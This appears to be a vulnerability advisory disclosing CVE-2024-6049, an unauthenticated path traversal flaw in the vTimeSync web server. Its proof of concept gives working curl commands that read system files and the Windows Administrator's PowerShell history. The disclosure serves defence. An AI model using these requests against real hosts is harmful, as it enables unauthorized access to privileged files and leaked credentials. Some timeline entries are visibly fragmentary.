Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049)
The web interface of vsm LTC Time Sync (vTimeSync) is vulnerable to a path
traversal vulnerability. By sending a specially crafted HTTP request, an
unauthenticated remote attacker can download arbitrary files from the vulnerable
system. As a limitation, the exploitation is only possible if the requested file
has a file extension, e.g. .exe or .txt.
The web server is running with highest SYSTEM privileges per default, which
enables an attacker to gain access to privileged files.
Proof of concept:
-----------------
1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049)
To exploit the vulnerability it is sufficient to use the following curl-command
to send a request to the vulnerable web server:
curl http://$host:8033/.../.../.../.../.../.../.../.../.../<Path to file>
For example, the following command can be used to request the default file
win.ini:
curl http://$host:8033/.../.../.../.../.../.../.../.../.../Windows/win.ini
If the application is running with SYSTEM-privileges (default), the following
command can be used to exfiltrate the Powershell history of the Windows
administrator, which might leak sensitive information:
curl http://$host:8033/.../.../.../.../.../.../.../.../.../Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 4.4.12.0
According to the vendor, versions before 4.5 are affected and v4.5.6.0
includes the fixes.
Vendor contact timeline:
------------------------
2024-01-22: Contacting vendor through info@...o.com; no response

our severity estimation and risks by exposing the affected
service.
2024-02-20: Vendor has taken a look at the advisory, asking whether

path traversal issue; no response.
2024-06-17: Asking for a status update again.

2024-10-17: Asking for the version numbers (affected / patched).
Vendor provides download to version 4.5.6.0 including changelog.
Changelog contains information about security fix in version 4.4.13,
but also changes regarding SSL/HTTPS and logon feature in 4.5.0 and 4.5.1.
Asking the vendor again, in which version the issue has been
fixed.

the latest version.
